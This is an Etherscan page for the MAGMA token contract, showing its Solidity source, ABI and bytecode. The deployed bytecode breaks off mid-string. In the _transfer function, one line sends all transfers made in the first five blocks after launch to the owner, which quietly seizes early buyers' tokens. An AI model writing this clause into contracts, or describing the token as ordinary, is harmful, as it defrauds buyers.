ETH Price: $2,456.79 (-4.68%)

Token

Floor Is Lava! (MAGMA)
 

Overview

Max Total Supply

489,666,809.859634426259036004 MAGMA

Holders

169

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
jeeran.eth
Balance
14,853.580500000072767691 MAGMA

Value
$0.00
0x50ee2d1d768398081cc9c4f425709cae3c2f4711
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FloorIsLava

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 50000 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-03
*/

/**
 * The Floor is Lava! secret code: %2ffg_77m24
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
            address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
            ) external payable returns (
                uint256 amountToken, uint256 amountETH, uint256 liquidity
                );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract FloorIsLava is IERC20, Ownable {
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "Floor Is Lava!";
    string private constant _symbol = "MAGMA";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply = 1000000000 * 10**18; // 1 billion
    uint256 private _launchBlockNumber;
    mapping (address => bool) public automatedMarketMakerPairs;
    bool private isLiquidityAdded = false;
    uint256 private maxWalletAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromFee;
    uint8 public burnFee = 10;

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    receive() external payable {} // so the contract can receive eth
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromMaxWalletLimit[account] != excluded, string.concat(_name, ": account is already excluded from max wallet limit."));
        _isExcludedFromMaxWalletLimit[account] = excluded;
    }
    function excludeFromFees(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromFee[account] != excluded, string.concat(_name, ": account is already excluded from fees."));
        _isExcludedFromFee[account] = excluded;
    }
    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }
    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, "You can only add liquidity once");
        isLiquidityAdded = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        _isExcludedFromMaxWalletLimit[uniswapV2Pair] = true;
        maxWalletAmount = _totalSupply * 1 / 100;
        _launchBlockNumber = block.number;
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external view virtual returns (uint256) { return _totalSupply; }
    function maxWallet() external view virtual returns (uint256) { return maxWalletAmount; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), string.concat(_name, ": cannot transfer from the zero address."));
        require(to != address(0), string.concat(_name, ": cannot transfer to the zero address."));
        require(amount > 0, string.concat(_name, ": transfer amount must be greater than zero."));
        require(amount <= balanceOf(from), string.concat(_name, ": cannot transfer more than balance."));
        if ((block.number - _launchBlockNumber) <= 5) { to = owner(); }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, string.concat(_name, ": expected wallet amount exceeds the maxWalletAmount."));
        }
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            balances[from] -= amount;
            balances[to] += amount;
            emit Transfer(from, to, amount);
        } else {
            balances[from] -= amount;
            balances[to] += amount - (amount * burnFee / 100);
            _totalSupply -= amount * burnFee / 100;
            emit Transfer(from, to, amount - (amount * burnFee / 100));
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526b033b2e3c9fd0803ce800000060058190556008805460ff19908116909155600991909155600c8054909116600a17905534801561004157600080fd5b50600080546001600160a01b031990811633908117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155908352600b60209081526040808520805460ff19908116851790915530808752828720805483168617905584546001600160a01b039081168852600a8552838820805484168717905581885283882080548416871790558754168752828720805490921690941790556005548386526003835281862081905581519081529051939492937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350611ec3806101366000396000f3fe6080604052600436106101795760003560e01c8063781edb3c116100cb578063b62496f51161007f578063f2fde38b11610059578063f2fde38b146104f0578063f8b45b0514610510578063fce589d81461052557600080fd5b8063b62496f51461044d578063c02466681461047d578063dd62ed3e1461049d57600080fd5b806395d89b41116100b057806395d89b41146103c7578063a457c2d71461040d578063a9059cbb1461042d57600080fd5b8063781edb3c1461037c5780638da5cb5b1461039c57600080fd5b806323b872dd1161012d57806349bd5a5e1161010757806349bd5a5e146102f757806370a0823114610324578063715018a61461036757600080fd5b806323b872dd14610295578063313ce567146102b557806339509351146102d757600080fd5b80630bd05b691161015e5780630bd05b691461020d5780631694505e1461022457806318160ddd1461027657600080fd5b806306fdde0314610185578063095ea7b3146101dd57600080fd5b3661018057005b600080fd5b34801561019157600080fd5b5060408051808201909152600e81527f466c6f6f72204973204c6176612100000000000000000000000000000000000060208201525b6040516101d49190611928565b60405180910390f35b3480156101e957600080fd5b506101fd6101f836600461199e565b61053f565b60405190151581526020016101d4565b34801561021957600080fd5b50610222610555565b005b34801561023057600080fd5b506001546102519073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101d4565b34801561028257600080fd5b506005545b6040519081526020016101d4565b3480156102a157600080fd5b506101fd6102b03660046119ca565b610a3e565b3480156102c157600080fd5b5060125b60405160ff90911681526020016101d4565b3480156102e357600080fd5b506101fd6102f236600461199e565b610a9d565b34801561030357600080fd5b506002546102519073ffffffffffffffffffffffffffffffffffffffff1681565b34801561033057600080fd5b5061028761033f366004611a0b565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561037357600080fd5b50610222610ae1565b34801561038857600080fd5b50610222610397366004611a2f565b610bb2565b3480156103a857600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610251565b3480156103d357600080fd5b5060408051808201909152600581527f4d41474d4100000000000000000000000000000000000000000000000000000060208201526101c7565b34801561041957600080fd5b506101fd61042836600461199e565b610d6c565b34801561043957600080fd5b506101fd61044836600461199e565b610db0565b34801561045957600080fd5b506101fd610468366004611a0b565b60076020526000908152604090205460ff1681565b34801561048957600080fd5b50610222610498366004611a2f565b610dbd565b3480156104a957600080fd5b506102876104b8366004611a6d565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b3480156104fc57600080fd5b5061022261050b366004611a0b565b610f77565b34801561051c57600080fd5b50600954610287565b34801561053157600080fd5b50600c546102c59060ff1681565b600061054c338484611108565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610601576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60085460ff161561066e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e63650060448201526064016105f8565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155546005546106c491309173ffffffffffffffffffffffffffffffffffffffff90911690611108565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107108173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6000803360405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107c69190611a9b565b5050600154604080517fc45a0155000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216925063c45a01559160048083019260209291908290030181865afa158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c9190611ac9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109099190611ac9565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa158015610979573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099d9190611ac9565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691821790556000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155600554606491610a2b9190611b15565b610a359190611b52565b60095543600655565b6000610a4b848484611286565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020908152604080832033808552925290912054610a93918691610a8e908690611b8d565b611108565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161054c918590610a8e908690611ba4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610b88576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a60209081526040918290205482518084018452600e81527f466c6f6f72204973204c6176612100000000000000000000000000000000000081840152925160ff9091161515841515141592610cce92909101611bbc565b60405160208183030381529060405290610d15576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161054c918590610a8e908690611b8d565b600061054c338484611286565b60005473ffffffffffffffffffffffffffffffffffffffff163314610e64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600b60209081526040918290205482518084018452600e81527f466c6f6f72204973204c6176612100000000000000000000000000000000000081840152925160ff9091161515841515141592610ed992909101611c23565b60405160208183030381529060405290610f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600b6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff81166110c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e0000000000000000000000000000000000000000000000000060648201526084016105f8565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff83166111aa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff821661124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600e81526020017f466c6f6f72204973204c617661210000000000000000000000000000000000008152506040516020016112fd9190611c8a565b60405160208183030381529060405290611344576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600e81526020017f466c6f6f72204973204c617661210000000000000000000000000000000000008152506040516020016113bc9190611cf1565b60405160208183030381529060405290611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b50600081116040518060400160405280600e81526020017f466c6f6f72204973204c6176612100000000000000000000000000000000000081525060405160200161144e9190611d58565b60405160208183030381529060405290611495576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600e81526020017f466c6f6f72204973204c617661210000000000000000000000000000000000008152506040516020016115059190611dbf565b6040516020818303038152906040529061154c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b5060056006544361155d9190611b8d565b1161157e5760005473ffffffffffffffffffffffffffffffffffffffff1691505b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff1661167657600954816115db8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6115e59190611ba4565b11156040518060400160405280600e81526020017f466c6f6f72204973204c6176612100000000000000000000000000000000000081525060405160200161162d9190611e26565b60405160208183030381529060405290611674576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff16806116cf575073ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604090205460ff165b156117b65773ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054839290611709908490611b8d565b909155505073ffffffffffffffffffffffffffffffffffffffff821660009081526003602052604081208054839290611743908490611ba4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117a991815260200190565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260036020526040812080548392906117eb908490611b8d565b9091555050600c546064906118039060ff1683611b15565b61180d9190611b52565b6118179082611b8d565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805490919061184c908490611ba4565b9091555050600c546064906118649060ff1683611b15565b61186e9190611b52565b6005600082825461187f9190611b8d565b9091555050600c5473ffffffffffffffffffffffffffffffffffffffff80841691908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906064906118d69060ff1686611b15565b6118e09190611b52565b6118ea9085611b8d565b6040519081526020016117a9565b60005b838110156119135781810151838201526020016118fb565b83811115611922576000848401525b50505050565b60208152600082518060208401526119478160408501602087016118f8565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff8116811461199b57600080fd5b50565b600080604083850312156119b157600080fd5b82356119bc81611979565b946020939093013593505050565b6000806000606084860312156119df57600080fd5b83356119ea81611979565b925060208401356119fa81611979565b929592945050506040919091013590565b600060208284031215611a1d57600080fd5b8135611a2881611979565b9392505050565b60008060408385031215611a4257600080fd5b8235611a4d81611979565b915060208301358015158114611a6257600080fd5b809150509250929050565b60008060408385031215611a8057600080fd5b8235611a8b81611979565b91506020830135611a6281611979565b600080600060608486031215611ab057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611adb57600080fd5b8151611a2881611979565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b4d57611b4d611ae6565b500290565b600082611b88577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600082821015611b9f57611b9f611ae6565b500390565b60008219821115611bb757611bb7611ae6565b500190565b60008251611bce8184602087016118f8565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507f6f6d206d61782077616c6c6574206c696d69742e0000000000000000000000006020820152603401919050565b60008251611c358184602087016118f8565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507f6f6d20666565732e0000000000000000000000000000000000000000000000006020820152602801919050565b60008251611c9c8184602087016118f8565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b60008251611d038184602087016118f8565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b60008251611d6a8184602087016118f8565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b60008251611dd18184602087016118f8565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b60008251611e388184602087016118f8565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e0000000000000000000000602082015260350191905056fea2646970667358221220edda3318978588f231ba2412a9c51bffb1caeca6f00fb9792716dcc7b6debf5b64736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101795760003560e01c8063781edb3c116100cb578063b62496f51161007f578063f2fde38b11610059578063f2fde38b146104f0578063f8b45b0514610510578063fce589d81461052557600080fd5b8063b62496f51461044d578063c02466681461047d578063dd62ed3e1461049d57600080fd5b806395d89b41116100b057806395d89b41146103c7578063a457c2d71461040d578063a9059cbb1461042d57600080fd5b8063781edb3c1461037c5780638da5cb5b1461039c57600080fd5b806323b872dd1161012d57806349bd5a5e1161010757806349bd5a5e146102f757806370a0823114610324578063715018a61461036757600080fd5b806323b872dd14610295578063313ce567146102b557806339509351146102d757600080fd5b80630bd05b691161015e5780630bd05b691461020d5780631694505e1461022457806318160ddd1461027657600080fd5b806306fdde0314610185578063095ea7b3146101dd57600080fd5b3661018057005b600080fd5b34801561019157600080fd5b5060408051808201909152600e81527f466c6f6f72204973204c6176612100000000000000000000000000000000000060208201525b6040516101d49190611928565b60405180910390f35b3480156101e957600080fd5b506101fd6101f836600461199e565b61053f565b60405190151581526020016101d4565b34801561021957600080fd5b50610222610555565b005b34801561023057600080fd5b506001546102519073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101d4565b34801561028257600080fd5b506005545b6040519081526020016101d4565b3480156102a157600080fd5b506101fd6102b03660046119ca565b610a3e565b3480156102c157600080fd5b5060125b60405160ff90911681526020016101d4565b3480156102e357600080fd5b506101fd6102f236600461199e565b610a9d565b34801561030357600080fd5b506002546102519073ffffffffffffffffffffffffffffffffffffffff1681565b34801561033057600080fd5b5061028761033f366004611a0b565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561037357600080fd5b50610222610ae1565b34801561038857600080fd5b50610222610397366004611a2f565b610bb2565b3480156103a857600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610251565b3480156103d357600080fd5b5060408051808201909152600581527f4d41474d4100000000000000000000000000000000000000000000000000000060208201526101c7565b34801561041957600080fd5b506101fd61042836600461199e565b610d6c565b34801561043957600080fd5b506101fd61044836600461199e565b610db0565b34801561045957600080fd5b506101fd610468366004611a0b565b60076020526000908152604090205460ff1681565b34801561048957600080fd5b50610222610498366004611a2f565b610dbd565b3480156104a957600080fd5b506102876104b8366004611a6d565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b3480156104fc57600080fd5b5061022261050b366004611a0b565b610f77565b34801561051c57600080fd5b50600954610287565b34801561053157600080fd5b50600c546102c59060ff1681565b600061054c338484611108565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610601576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60085460ff161561066e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e63650060448201526064016105f8565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155546005546106c491309173ffffffffffffffffffffffffffffffffffffffff90911690611108565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107108173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6000803360405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107c69190611a9b565b5050600154604080517fc45a0155000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216925063c45a01559160048083019260209291908290030181865afa158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c9190611ac9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109099190611ac9565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa158015610979573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099d9190611ac9565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691821790556000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155600554606491610a2b9190611b15565b610a359190611b52565b60095543600655565b6000610a4b848484611286565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020908152604080832033808552925290912054610a93918691610